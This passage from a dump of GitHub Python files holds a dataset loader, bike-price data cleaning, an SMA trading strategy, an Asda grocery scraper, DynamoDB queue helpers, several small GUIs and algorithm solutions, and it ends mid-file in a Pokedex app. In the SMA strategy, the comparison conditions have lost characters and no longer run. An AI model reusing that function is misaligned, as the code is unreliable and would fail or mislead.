get_dataset(self):\n data = []\n label = []\n with open(self.path, 'r') as f:\n for line in f.readlines():\n lines = line.strip().split(' ')\n # 提取得出label\n label.append(float(lines[0]))\n # 提取出特征,并将其放入到矩阵中\n index = 0\n tmp = []\n for i in range(1, len(lines)):\n li = lines[i].strip().split(\":\")\n if int(li[0]) - 1 == index:\n tmp.append(float(li[1]))\n else:\n while(int(li[0]) - 1 > index):\n tmp.append(0)\n index += 1\n tmp.append(float(li[1]))\n index += 1\n while len(tmp) < 13:\n tmp.append(0)\n data.append(tmp)\n \n dataset = {}\n dataset['data'] = np.array(data)\n dataset['target'] = np.array(label)\n return dataset\n ","repo_name":"ximitiejiang/machine_learning_algorithm","sub_path":"dataset/heart_scale_dataset.py","file_name":"heart_scale_dataset.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"40531405762","text":"import pandas as pd\n\n\ndef check_material(string):\n # Cleans the df by filtering material\n if string == 'Aluminium' or string == 'Carbon Fiber':\n return True\n elif string == 'Chromoly' or string == 'Steel':\n return True\n elif string == 'Titanium':\n return True\n else:\n return False\n\n\ndef convert_wheel_string(input_string):\n # change string of wheel to int\n if input_string == '29\"':\n return 29\n elif input_string == '27.5\"':\n return 27.5\n\n\ndef convert_string_flt(input_string):\n # convert string to float\n nums = '1234567890.'\n string = ''\n for char in input_string:\n if char in nums:\n string += char\n return float(string)\n\n\ndef rear_travel_clean(x):\n # remove rows that contain travel in the rear travel\n if x == \"Travel:\":\n return False\n else:\n return True\n\n\ndef check_currancy(price, currancy, exch_rate=.74):\n # Convert Currencty from CAD to US\n if currancy == 'CAD':\n return price * exch_rate\n else:\n return price\n\n\ndef clean_df1(df1):\n # Drop axis made from bad data Remove any wrong wheel sizes.\n # Convert Front suspension to float. Convert Rear travel to float and clean\n # Convert Price to float and convert to US $\n df1.drop(axis=1, labels='Unnamed: 9', inplace=True)\n df1 = df1[df1['Material'].apply(lambda x: check_material(x))].copy()\n df1['Wheel_Size'] = df1['Wheel_Size'].apply(lambda x:\n convert_wheel_string(x))\n df1['Front_travel'] = df1['Front_travel'].apply(convert_string_flt)\n df1 = df1[df1['Rear_travel'].apply(rear_travel_clean)]\n df1['Rear_travel'] = df1['Rear_travel'].apply(convert_string_flt)\n df1['Price'] = df1['Price'].apply(convert_string_flt)\n df1[\"Price\"] = df1[['Price',\n 'Currance']].apply(\n lambda x: check_currancy(x.Price, x. Currance),\n axis=1)\n return df1\n\n\ndef clean_wheel_size_df2(string):\n # Convert string to float of wheel size\n if string == '29':\n return 29.0\n elif string == '275 650B':\n return 27.5\n else:\n return string\n\n\ndef return_curr(string):\n # Return the Correct Currency\n if 'USD' in string:\n return 'USD'\n elif 'CAD' in string:\n return 'CAD'\n\n\ndef remove_other_wheels(obj):\n # Remove other wheels that might be in data\n # That weren't filtered\n if type(obj) == float:\n return True\n else:\n return False\n\n\ndef remove_resonable_trades(input_string):\n # Remove the string Resonable trades accepted\n if 'CAD' in input_string or 'USD' in input_string:\n return True\n else:\n return False\n\n\ndef clean_df2(df2):\n # apply the above functions to df2\n # df2 was data previously scrapped and has sperate issues\n df2['Wheel Size'] = df2[\"Wheel Size\"].apply(clean_wheel_size_df2)\n df2['Front Travel'] = df2['Front Travel'].apply(convert_string_flt)\n df2['Rear Travel'] = df2['Rear Travel'].apply(convert_string_flt)\n df2['Currance'] = df2['Price'].apply(return_curr)\n df2 = df2[df2['Wheel Size'].apply(remove_other_wheels)]\n df2 = df2[df2['Price'].apply(lambda x: remove_resonable_trades(x))]\n df2['Price'] = df2['Price'].apply(convert_string_flt)\n df2['Price'] = df2[['Price',\n 'Currance']].apply(\n lambda x: check_currancy(x['Price'], x['Currance']),\n axis=1)\n return df2\n\n\nif __name__ == '__main__':\n # Read in CSV files into DF\n dir_Galv = '/home/devin/Documents/Galvanize/'\n dir_repo = 'repos/Galvanize_Capstone_1/'\n data_dir = 'data/data_work.csv'\n df1 = pd.read_csv(dir_Galv + dir_repo + data_dir)\n data_dir = 'data/data_work_2.csv'\n df2 = pd.read_csv(dir_Galv + dir_repo + data_dir)\n # clean DF1\n cleaned_df1 = clean_df1(df1)\n # clean DF2\n cleaned_df2 = clean_df2(df2)\n cleaned_df2.rename(columns={'Frame Size': 'Size',\n 'Wheel Size': 'Wheel_Size',\n 'Front Travel': 'Front_travel',\n 'Rear Travel': 'Rear_travel',\n 'Currance': 'Currency'},\n inplace=True)\n cleaned_df1.rename(columns={'Currance': 'Currency'}, inplace=True)\n # join the two dataframes\n df = pd.concat([cleaned_df1, cleaned_df2])\n df = df[df['Price'] < 12000]\n # Kept seperated for ease of plotting\n df_29 = df[df['Wheel_Size'] == 29]\n df_275 = df[df['Wheel_Size'] == 27.5]\n # Write cleaned data to file\n data_dir = 'data/cleaned_data_29.csv'\n df_29.to_csv(dir_Galv + dir_repo + data_dir)\n data_dir = 'data/cleaned_data_275.csv'\n df_275.to_csv(dir_Galv + dir_repo + data_dir)\n data_dir = 'data/cleaned_data.csv'\n df.to_csv(dir_Galv + dir_repo + data_dir)\n","repo_name":"Devinml/Galvanize_Capstone_1","sub_path":"src/clean_df.py","file_name":"clean_df.py","file_ext":"py","file_size_in_byte":4902,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"24605860545","text":"import pandas as pd \nimport numpy as np\nimport talib as ta\n\n\ndef sma(data, freq,window, plot_data={1:[('SMA',None, 'red')]}):\n \n df=data.copy()\n \n freq = f\"{freq}min\"\n df = df.resample(freq).agg({\"Open\": \"first\", \"High\": \"max\", \"Low\": \"min\", \"Close\": \"last\", 'spread':'mean','pips':'mean'}).dropna()\n \n df[\"returns\"] = np.log(df['Close'] / df['Close'].shift(1))\n df['position']=np.nan\n df['SMA']=df['Close'].rolling(window=window).mean()\n first_cross_idx=df.index[0]\n df['Close_shifted']=df['Close'].shift(1)\n \n for i in range(len(df)):\n condition1_one_bar=((df['Open'].iloc[i]df['SMA'].iloc[i]))\n condition2_one_bar=((df['Open'].iloc[i]>df['SMA'].iloc[i]) & (df['Close'].iloc[i]df['SMA'].iloc[i]) & (df['Close'].iloc[i]df['SMA'].iloc[i]))\n \n \n if condition1_one_bar or condition1_two_bars or condition2_one_bar or condition2_two_bars:\n \n first_cross_idx=df.index[i]\n break\n \n conditions=[\n (df['Close']>df['SMA']) & (df.index>=first_cross_idx),\n (df['Close']=first_cross_idx),\n ]\n values=[1,-1]\n df[\"position\"] = np.select(conditions, values,0)\n \n \n \n df.dropna(inplace = True)\n \n return df\n\n\n","repo_name":"ddalgotrader/first_trading_strategy","sub_path":"Strategies.py","file_name":"Strategies.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"7211279519","text":"import scrapy\nimport json\nfrom ..utils import *\n\nclass AsdaProductsSpider(scrapy.Spider):\n name = 'asda_products'\n allowed_domains = ['groceries.asda.com']\n headers = {\n 'request-origin':'gi',\n 'Content-Type':'application/json'\n }\n\n handle_httpstatus_list = [400, 404,403,406, 408, 500, 503, 504]\n\n def start_requests(self):\n yield scrapy.Request('https://groceries.asda.com/') \n \n def parse(self, response):\n url = 'https://groceries.asda.com/api/bff/graphql'\n yield scrapy.Request(url, method='POST', headers=self.headers, body=json.dumps(get_category_payload()), callback=self.parse_category, dont_filter=True)\n\n\n\n def parse_category(self, response):\n if response.status > 300:\n with open('check.html', 'w') as f:\n f.write(response.text)\n \n data = json.loads(response.text)\n\n category = data['data']['tempo_taxonomy']['categories']\n\n cat_ids = get_cats(category)\n url = 'https://groceries.asda.com/api/bff/graphql'\n\n for id in cat_ids:\n payload = get_products_payload(id, 1)\n yield scrapy.Request(url, method='POST', headers=self.headers, \n body=json.dumps(payload), callback=self.parse_product,\n cb_kwargs={'id': id}, dont_filter=True)\n\n \n def parse_product(self, response, id):\n try:\n data = json.loads(response.text)\n zones = data['data']['tempo_cms_content']['zones']\n\n products = []\n zone = ''\n for z in zones:\n if z.get('type', \"\") == \"ProductListing\":\n zone = z\n products = validate_value(z, ['configs', 'products', 'items'])\n\n if not products:\n return\n\n for product in products:\n item = {}\n item['Product ID'] = validate_value(product, ['item', 'sku_id'])\n item['UPC ID'] = validate_value(product, ['price', 'upc'])\n item['Category'] = validate_value(product, ['item', 'taxonomy_info', 'category_name'])\n item['Department'] = validate_value(product, ['item', 'taxonomy_info', 'dept_name'])\n item['Product'] = validate_value(product, ['item', 'name'])\n item['Price'] = validate_value(product, ['price', 'price_info', 'price'])\n sale_price = validate_value(product, ['price', 'price_info', 'sale_price'])\n item['Sale Price'] = item['Price'] if sale_price == '£0.0' else sale_price\n item['Unit Price'] = validate_value(product, ['price', 'price_info', 'price_per_uom'])\n item['Unit'] = validate_value(product, ['price', 'price_info', 'sales_unit'])\n\n if 'promotion_info' in product and len(product['promotion_info']) > 0:\n promo = product['promotion_info'][0]['linksave']\n if promo:\n item['Promotion'] = promo.get('promo_detail', \"\")\n \n\n yield item\n # self.logger.info(f\"Scraped: {item['Product']} ({item['Product ID']})\")\n\n if zone:\n max_pages = validate_value(zone, ['configs', 'max_pages'])\n current_page = validate_value(zone, ['configs', 'current_page'])\n\n if max_pages != 0 and current_page < max_pages:\n url = 'https://groceries.asda.com/api/bff/graphql'\n payload = get_products_payload(id, current_page+1)\n yield scrapy.Request(url, method='POST', headers=self.headers, \n body=json.dumps(payload), callback=self.parse_product,\n cb_kwargs={'id': id}, dont_filter=True)\n\n except Exception as e:\n with open('error.json', 'w') as f:\n f.write(response.text)\n print(response.url)\n print(e)\n print(z)\n print(len(products))","repo_name":"abhiramukk/scrappers","sub_path":"Asda/Asda/spiders/asda_products.py","file_name":"asda_products.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"4488827438","text":"import os\nimport time\nimport boto3\n\ndef add_to_queue(contact_id, queue_name):\n dynamodb = boto3.resource('dynamodb', region_name=os.environ['QUEUE_REGION'])\n table = dynamodb.Table(os.environ['QUEUE_TABLE'])\n table.put_item(\n Item={\n \"contact_id\": contact_id,\n \"queue_name\": queue_name,\n \"queue_started_time\": str(round(time.time())),\n \"queue_last_updated_time\": str(round(time.time())),\n },\n )\n return True\n\ndef update_last_updated(contact_id):\n dynamodb = boto3.resource('dynamodb', region_name=os.environ['QUEUE_REGION'])\n table = dynamodb.Table(os.environ['QUEUE_TABLE'])\n table.update_item(\n TableName=os.environ['QUEUE_TABLE'],\n Key={\n 'contact_id': contact_id\n },\n UpdateExpression=\"set queue_last_updated_time = :queue_last_updated_time_value\",\n ExpressionAttributeValues={\n ':queue_last_updated_time_value': str(round(time.time()))\n },\n ReturnValues=\"NONE\"\n )\n return True\n\ndef remove_contact_from_queue(contact_id):\n dynamodb = boto3.resource('dynamodb', region_name=os.environ['QUEUE_REGION'])\n table = dynamodb.Table(os.environ['QUEUE_TABLE'])\n table.delete_item(\n TableName=os.environ['QUEUE_TABLE'],\n Key={\n 'contact_id': contact_id\n }\n )\n \ndef get_queue_position(contact_id, queue_name):\n dynamodb = boto3.client('dynamodb', region_name=os.environ['QUEUE_REGION'])\n update_last_updated(contact_id)\n \n operation_parameters = {\n \"TableName\": os.environ['QUEUE_TABLE'],\n \"FilterExpression\": \"queue_name = :queue_name\",\n \"ExpressionAttributeValues\": {\n \":queue_name\": {\"S\": queue_name}\n },\n }\n \n data = {}\n \n paginator = dynamodb.get_paginator(\"scan\")\n page_iterator = paginator.paginate(**operation_parameters)\n for page in page_iterator:\n for item in page[\"Items\"]:\n \n temp_started_time = item[\"queue_started_time\"][\"S\"]\n temp_last_updated_time = int(item[\"queue_last_updated_time\"][\"S\"])\n temp_contact_id = item[\"contact_id\"][\"S\"]\n \n # Remove contact from queue if there has been no update in 60 seconds\n if (round(time.time()) - temp_last_updated_time) >= 60:\n remove_contact_from_queue(temp_contact_id)\n print(f\"Contact {temp_contact_id} - has left the queue. Removing.\")\n else:\n data[temp_contact_id] = int(temp_started_time)\n \n data = dict(sorted(data.items(), key=lambda item: item[1]))\n contact_position = list(data).index(contact_id) + 1\n print(f\"Contact {contact_id} is number {contact_position} in the queue.\")\n return {\"queue_position\": contact_position}","repo_name":"sirdanielot/amazon-connect-queue-position","sub_path":"src/amazon-connect-queue-lambda/lambda/handlers/dynamo_handler.py","file_name":"dynamo_handler.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8825341385","text":"import tkinter as tk\n\nimport matplotlib\nimport numpy as np\nfrom annotation_gui_gcp.lib.geometry import (\n get_all_track_observations,\n get_tracks_visible_in_image,\n)\nfrom annotation_gui_gcp.lib.view import View\nfrom matplotlib import pyplot as plt\n\n\nclass ImageSequenceView(View):\n def __init__(self, main_ui, sequence_key, image_keys, show_track_checkbox):\n self.group_name = sequence_key\n self.images_in_list = image_keys\n self.zoom_window_size_px = 200\n self.image_manager = main_ui.image_manager\n super(ImageSequenceView, self).__init__(main_ui, show_track_checkbox)\n\n # Auto GCP - related stuff\n auto_gcp_button = tk.Button(\n self.toolbox,\n text=\"Auto GCP\",\n command=lambda window=self.window: self.auto_gcp_show_tracks(),\n )\n auto_gcp_button.pack(side=\"top\")\n\n rotate_button = tk.Button(\n self.toolbox,\n text=\"Rotate\",\n command=lambda window=self.window: self.rotate(),\n )\n rotate_button.pack(side=\"top\")\n\n self.populate_image_list()\n self.bring_new_image(self.images_in_list[0])\n self.set_title()\n\n def get_image(self, new_image):\n return self.image_manager.get_image(new_image)\n\n def get_candidate_images(self):\n return self.images_in_list\n\n def rotate(self):\n self.rotation = (self.rotation + 1) % 4\n self.bring_new_image(self.current_image, force=True)\n\n def auto_gcp_show_tracks(self):\n h, w = self.image_manager.get_image_size(self.current_image)\n tracks = get_tracks_visible_in_image(\n self.main_ui.gcp_manager, self.current_image\n )\n\n # Select some tracks to plot, not all\n # nice_tracks = sorted(tracks, key=lambda tid: -tracks[tid]['length'])\n nice_tracks = tracks.keys() # all tracks\n tracks = {k: tracks[k] for k in nice_tracks}\n\n if len(tracks) == 0:\n print(\"No valid tracks found\")\n return\n\n # Draw track projections\n points = []\n track_lengths = []\n for point, track_length in tracks.values():\n points.append(self.gcp_to_pixel_coordinates(*point))\n track_lengths.append(track_length)\n\n points = np.array(points)\n norm = matplotlib.colors.Normalize()\n colors = plt.cm.viridis(norm(track_lengths))\n self.tracks_scatter = self.ax.scatter(\n points[:, 0], points[:, 1], s=10, c=colors, marker=\"x\"\n )\n self.canvas.draw_idle()\n\n # The next left or right click will be handled differently by setting this:\n self.visible_tracks = tracks\n\n def auto_gcp_create(self, x, y, add):\n # Find track closest to click location and create a GCP from it\n x, y = self.pixel_to_gcp_coordinates(x, y)\n if add:\n points, track_ids = [], []\n for tid, t in self.visible_tracks.items():\n points.append(t[0])\n track_ids.append(tid)\n dists = np.linalg.norm(np.array(points) - np.array([[x, y]]), axis=1)\n closest_track = track_ids[np.argmin(dists)]\n observations = get_all_track_observations(\n self.main_ui.gcp_manager, closest_track\n )\n\n self.main_ui.add_gcp()\n new_gcp = self.main_ui.curr_point\n print(f\"New GCP {new_gcp} with {len(observations)} observations\")\n for shot_id, point in observations.items():\n point = point.tolist()\n self.main_ui.gcp_manager.add_point_observation(new_gcp, shot_id, point)\n\n self.visible_tracks = None\n self.tracks_scatter.remove()\n self.canvas.draw()\n self.update_image_list_text()\n\n def set_title(self):\n shot = self.current_image\n seq_ix = self.images_in_list.index(shot)\n title = f\"{self.group_name} [{seq_ix+1}/{len(self.images_in_list)}]: {shot}\"\n self.window.title(title)\n\n def go_to_image_index(self, idx):\n incoming_image = self.images_in_list[idx]\n incoming_rig_images = self.main_ui.rig_groups.get(\n self.images_in_list[idx], [incoming_image]\n )\n\n # Update all views in the rig\n for image in incoming_rig_images:\n for v in self.main_ui.sequence_views:\n if image in v.images_in_list:\n v.bring_new_image(image)\n break\n","repo_name":"LukasBommes/PV-Hawk","sub_path":"extractor/mapping/OpenSfM/annotation_gui_gcp/lib/image_sequence_view.py","file_name":"image_sequence_view.py","file_ext":"py","file_size_in_byte":4458,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"11"} +{"seq_id":"17585391028","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n# @Time : 19-5-29 下午4:11\n# @Author : tang\n# @File : insert_to_mongodb.py\n\nimport pymongo\nmyclient = pymongo.MongoClient('mongodb://localhost:27017/')\nmydb = myclient['CNNVD']\nmycol = mydb[\"CNNVD_data\"]\n\ndef insert_to_databse(CNNVD):\n CNNVD_number = CNNVD['CNNVD编号']\n print(CNNVD_number)\n if mycol.find_one({'CNNVD编号' : CNNVD_number}) is None:\n mycol.insert_one(CNNVD)\n print(\"Insert a record into database.\")\n else:\n print('Data duplication')\n","repo_name":"kreattang/CNNVD","sub_path":"CNNVD/insert_to_mongodb.py","file_name":"insert_to_mongodb.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6200552453","text":"\nimport pandas as pd\n\n#separation function\ndef separate(df):\n return df[[\"Age\",\"Fare\"]], df[[\"Pclass\", \"Sex\", \"SibSp\", \"Parch\", \"Embarked\"]]\n\n#load all the models from pickles\nle = pd.read_pickle(\"le.pickle\")\npf = pd.read_pickle(\"pf.pickle\")\nps = pd.read_pickle(\"ps.pickle\")\nlr = pd.read_pickle(\"lr.pickle\")\n\n\ndef predict(X):\n\n X = pd.DataFrame(X)\n #rename all the columns to be correct\n X.rename(columns={0: 'Age', 1: 'Fare', 2:\"Pclass\",3:\"Sex\",4:\"SibSp\",5:\"Parch\",6:\"Embarked\"}, inplace=True)\n \n\n #separate to cont and discr columns\n train_cont_toy,train_discr_toy = separate(X)\n\n #encode the discrete ones\n train_discr_toy_no_col = le.transform(train_discr_toy)\n\n #assign the correct column names back\n train_discr_toy = pd.DataFrame(train_discr_toy_no_col, columns = train_discr_toy.columns)\n\n #generating polynomial features for the continuous values\n train_cont_toy = pf.transform(train_cont_toy)\n\n #concat them back \n X_test_toy = pd.concat([pd.DataFrame(train_cont_toy), pd.DataFrame(train_discr_toy).astype(\"int16\")], axis=1)\n\n #transform all together\n X_test_toy = ps.transform(X_test_toy)\n\n #predict\n y_pred = lr.predict(X_test_toy)\n\n\n\n\n if y_pred ==1:\n return \"You would\"\n return \"You would not\"\n\n","repo_name":"EitanShirmann/Titanic-prediction-web-app","sub_path":"predict/predictions.py","file_name":"predictions.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2976883169","text":"from tkinter import *\nfrom subprocess import call\nfrom tkinter import messagebox\nimport customtkinter\nfrom PIL import Image,ImageTk\nroot = customtkinter.CTk()\nroot.title('CGB travail menu ')\nroot.geometry('1080x500+300+200')\nroot.configure(bg=\"black\")\n\nroot.resizable(False, False)\nroot.iconbitmap('C:\\\\Users\\\\vansa\\\\Desktop\\\\tkinter\\\\o.ico')\nLabel(root, bg='black').place(x=10, y=30)\ncustomtkinter.set_appearance_mode(\"dark\")\ncustomtkinter.set_default_color_theme(\"dark-blue\")\n####styleee\nframe1 =customtkinter.CTkFrame(root,width=1040,height=450,corner_radius=30)\nframe1.place(x=20, y=30)\n\nframe2 = customtkinter.CTkFrame(frame1,width=180, height=340, corner_radius=30,fg_color=\"black\")\n\nframe2.place(x=10, y=20)\n\nframe3= customtkinter.CTkFrame(frame1,width=820, height=410, corner_radius=30,fg_color=\"#347C98\")\nframe3.place(x=200, y=20)\n\nframe4= customtkinter.CTkFrame(frame3,width=370, height=370, corner_radius=30,fg_color=\"#2F3D40\")\nframe4.place(x=30, y=20)\nframe5= customtkinter.CTkFrame(frame3,width=370, height=370, corner_radius=30,fg_color=\"#2F3D40\")\nframe5.place(x=420, y=20)\n\nframe6= customtkinter.CTkFrame(frame1,width=160, height=10, corner_radius=30,fg_color=\"#CC8D1A\")\nframe6.place(x=20, y=160)\nframe7= customtkinter.CTkFrame(frame4,width=330, height=60, corner_radius=30,fg_color=\"#2F3D40\")\nframe7.place(x=20, y=150)\n\n\nframe8=customtkinter.CTkFrame(frame5,width=330, height=130, corner_radius=10,fg_color=\"#182625\")\nframe8.place(x=20, y=220)\n\nframe9=customtkinter.CTkFrame(frame4,width=330, height=100, corner_radius=10,fg_color=\"#182625\")\nframe9.place(x=20, y=220)\nframe0=customtkinter.CTkFrame(frame4,width=330, height=10, corner_radius=30,fg_color=\"#009999\")\nframe0.place(x=20, y=330)\n\n#######functions\n####btn_identification\ndef open_id():\n root.destroy()\n call([\"python\", \"menu principale.py\"])\n print(\"identification\")\n\ndef open_dec_mo():\n root.destroy()\n call([\"python\", \"declaration_mens.py\"])\n print(\"monsuelle\")\n#btnn mensuelle-------\ndef open_dec_an():\n root.destroy()\n call([\"python\", \"declaration_annuelle.py\"])\n print(\"annuelle\")\n#btnn mensuelle-------\n\nbtnamois=customtkinter.CTkButton(text_font=(\"Cambria\",25),master=frame8,width=310,height=50,fg_color=\"#1d3857\",corner_radius=18,text=\"Mensuelle\",command=open_dec_mo)\nbtnamois.place(x=10, y=10)\n#btnn annuelles-------\n\nbtn=customtkinter.CTkButton(text_font=(\"Cambria\",25),master=frame8,width=310,height=50,fg_color=\"#1d3857\",corner_radius=18,text=\"Annuelle\",command=open_dec_an)\nbtn.place(x=10, y=70)\n##btn_identif\nbtnid=customtkinter.CTkButton(text_font=(\"Cambria\",25),master=frame9,width=310,height=50,fg_color=\"#1d3857\",corner_radius=18,text=\"acceder\",command=open_id)\nbtnid.place(x=10, y=25)\n\n###titles\nheading = customtkinter.CTkLabel(master=frame7, text='IDentification',text_font=(\"Cambria\", 30),text_color=\"#347C98\")\nheading.place(x=45, y=15)\n\nheading = customtkinter.CTkLabel(master=frame5, text='Declarations',text_font=(\"Cambria\", 30),text_color=\"#347C98\")\nheading.place(x=74, y=163)\n\n\n####logo and icones\nimg= (Image.open(\"oo.png\"))\nresized_image= img.resize((160,120), Image.ANTIALIAS)\nnew_image= ImageTk.PhotoImage(resized_image)\nLabel( frame1,image=new_image, bg='black').place(x=16, y=30)\n\nimg2= (Image.open(\"home.png\"))\nresized_image2= img2.resize((130,120), Image.ANTIALIAS)\nnew_image2= ImageTk.PhotoImage(resized_image2)\nLabel( frame1,image=new_image2, bg='black').place(x=30, y=200)\n\nimg3= (Image.open(\"identification.png\"))\nresized_image33= img3.resize((150,150), Image.ANTIALIAS)\nnew_image33= ImageTk.PhotoImage(resized_image33)\nLabel( frame4,image=new_image33,bg=\"#2F3D40\").place(x=110, y=10)\n\nimg4= (Image.open(\"declar.png\"))\nresized_image4= img4.resize((150,148), Image.ANTIALIAS)\n\nnew_image4= ImageTk.PhotoImage(resized_image4)\nLabel( frame5,image=new_image4,bg=\"#2F3D40\").place(x=110, y=10)\n\ndef exiit():\n root.destroy()\n call([\"python\",\"login.py\"])\n\nimg2= (Image.open(\"exit.png\"))\nresized_image2= img2.resize((50,45), Image.ANTIALIAS)\nnew_image3= ImageTk.PhotoImage(resized_image2)\n\nleave = customtkinter.CTkButton(master=frame1,image=new_image3,corner_radius=15,text=\"\",text_font=(\"arial bold\",21),fg_color=\"#181818\",hover_color=\"cyan\",text_color=\"black\",width=180,height=60,command=exiit)\nleave.place(x=10, y=370)\n\n\n\n\nroot.mainloop()","repo_name":"samisrhir/tkinter","sub_path":"choix.py","file_name":"choix.py","file_ext":"py","file_size_in_byte":4280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"22262674077","text":"\nfrom jsonable import JSONable\n\nfrom .timestamp import Timestamp\n\n\nclass StateMarker(JSONable):\n __slots__ = (\"last_event\", \"last_rev_id\", \"last_rc_id\", \"last_log_id\")\n def initialize(self, last_event=None, last_rc_id=None,\n last_rev_id=None, last_log_id=None):\n self.last_event = Timestamp(last_event) \\\n if last_event is not None else None\n self.last_rc_id = int(last_rc_id) \\\n if last_rc_id is not None else None\n self.last_rev_id = int(last_rev_id) \\\n if last_rev_id is not None else None\n self.last_log_id = int(last_log_id) \\\n if last_log_id is not None else None\n \n def update(self, timestamp, rc_id, rev_id, log_id):\n self.last_event = timestamp or self.last_event\n self.last_rc_id = rc_id or self.last_rc_id\n self.last_rev_id = rev_id or self.last_rev_id\n self.last_log_id = log_id or self.last_log_id\n \n def is_after(self, timestamp, rc_id, rev_id, log_id):\n timestamp = Timestamp(timestamp)\n \n return (self.last_event is not None and\n timestamp > self.last_event) or\\\n (\n (self.last_event is None or\n timestamp == self.last_event) and\n (\n (rc_id is not None and\n rc_id > (self.last_rc_id or 0)) or\\\n (rev_id is not None and\n rev_id > (self.last_rev_id or 0)) or\\\n (log_id is not None and\n log_id > (self.last_log_id or 0))\n )\n )\n","repo_name":"mediawiki-utilities/python-mwevents","sub_path":"mwevents/types/state_marker.py","file_name":"state_marker.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"34243038312","text":"# Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000.\n\n# Example 1:\n\n# Input: \"babad\"\n# Output: \"bab\"\n# Note: \"aba\" is also a valid answer.\n# Example 2:\n\n# Input: \"cbbd\"\n# Output: \"bb\"\n\n# Time complexity : O(n^2)\n# Space complexity : O(1)\n\n\nclass Solution:\n def longestPalindrome(self, s: str) -> str:\n res = ''\n\n for i in range(len(s)):\n odd = self.palindrome(s, i, i)\n even = self.palindrome(s, i, i + 1)\n\n res = max(odd, even, res, key=len)\n return res\n\n def palindrome(self, s, l, r):\n while l >= 0 and r < len(s) and s[l] == s[r]:\n l -= 1\n r += 1\n return s[l+1:r]\n","repo_name":"rohan8594/DS-Algos","sub_path":"leetcode/medium/Arrays and Strings/LongestPalindromicSubstr.py","file_name":"LongestPalindromicSubstr.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8242074152","text":"#%%\nimport os\nimport sys\n\nos.chdir(\"E:/OneDrive - 고려대학교/석사/알고리즘/경사로\")\nsys.stdin = open(\"ex4.txt\", \"r\")\nN, L = list(map(int, sys.stdin.readline().split()))\nX = []\nfor _ in range(N):\n X.append(list(map(int, sys.stdin.readline().split())))\nsys.stdin.close()\n\ndef is_path(path, N, L):\n for i in range(N-1):\n if abs(path[i]-path[i+1])>1 : # 내려가거나 올라갈 수 없는 경우\n return(\"NO\")\n break\n elif path[i]-path[i+1]==-1: # 올라가야 하는 경우\n if i+1-L <0 : # 가장 바깥쪽 인덱스가 인덱스 범위를 넘어가는 경우\n return(\"NO\")\n break\n else:\n for j in range(L-1): # i번째 셀을 포함하여 i번째 셀 뒤쪽으로 L개 셀이 같은 값인지 확인\n if path[i] != path[i-(j+1)]: \n return(\"NO\")\n break\n elif path[i]-path[i+1]==1 : # 내려가야 하는 경우\n if i+L > N-1: # 가장 바깥쪽 인덱스가 인덱스 범위를 넘어가는 경우\n return(\"NO\")\n break\n else : \n for j in range(L-1): # i번째 셀 앞쪽으로 L개 셀이 같은 값인지 확인\n if path[i+1] != path[i+1+(j+1)]: \n return(\"NO\")\n break\n # 만약 i 다음 인덱스에서 올라가는 경우가 생기면\n if -1 in [path[l]-path[l+1] for l in range(i, N-1)]:\n # 내려갔다 올라갈때 경사로가 겹치지 못하게\n for k in range(L):\n if i+(L+k+1) > N-1: # 인덱스 범위를 넘어가는 경우\n return(\"NO\")\n break\n elif path[i]==path[i+(L+k+1)]: # 경사로가 겹���는 경우\n return(\"NO\")\n break\n if i==N-2: return(\"YES\")\n else : return(\"NO\")\n\ncount_row = 0\nfor row in range(N):\n# print(is_path(X[row], N, L))\n if is_path(X[row], N, L)==\"YES\": \n count_row += 1\n\ncount_col = 0\nfor col in range(N):\n# print(is_path([i[col] for i in X], N, L))\n if is_path([i[col] for i in X], N, L)==\"YES\":\n count_col += 1\n\nprint(count_row + count_col)\n\n#%%\n\npath = [3,2,2,1,1,1]\nis_path(path, N, L)\n","repo_name":"stat17-hb/algorithm","sub_path":"경사로/경사로.py","file_name":"경사로.py","file_ext":"py","file_size_in_byte":2420,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17128064129","text":"import pypokedex\nimport PIL.Image, PIL.ImageTk\nimport tkinter as tk\nimport urllib3\nfrom io import BytesIO\n\nwindow = tk.Tk()\nwindow.geometry(\"600x600\")\nwindow.title(\"Pokedex\")\nwindow.config(padx=10, pady=10)\n\ntitle_label = tk.Label(window, text=\"Pokedex\")\ntitle_label.config(font=(\"Arial\", 32))\ntitle_label.pack(padx=10, pady=10)\n\npokemon_image = tk.Label(window)\npokemon_image.pack(padx=10, pady=10)\n\n\npokemon_info = tk.Label(window)\npokemon_info.config(font=(\"Arial\", 20))\npokemon_info.pack(padx=10, pady=10)\n\npokemon_type = tk.Label(window)\npokemon_type.config(font=(\"Arial\", 20))\npokemon_type.pack(padx=10, pady=10)\n\n\ndef load_pokemon():\n pokemon = pypokedex.get(name=text_id_name.get(1.0, \"end-1c\"))\n\n http = urllib3.PoolManager()\n response = http.request(\"GET\", pokemon.sprites.front.get(\"default\"))\n image = PIL.Image.open(BytesIO(response.data))\n\n img = PIL.ImageTk.PhotoImage(image)\n pokemon_image.config(image=img)\n pokemon_image.image = img\n\n 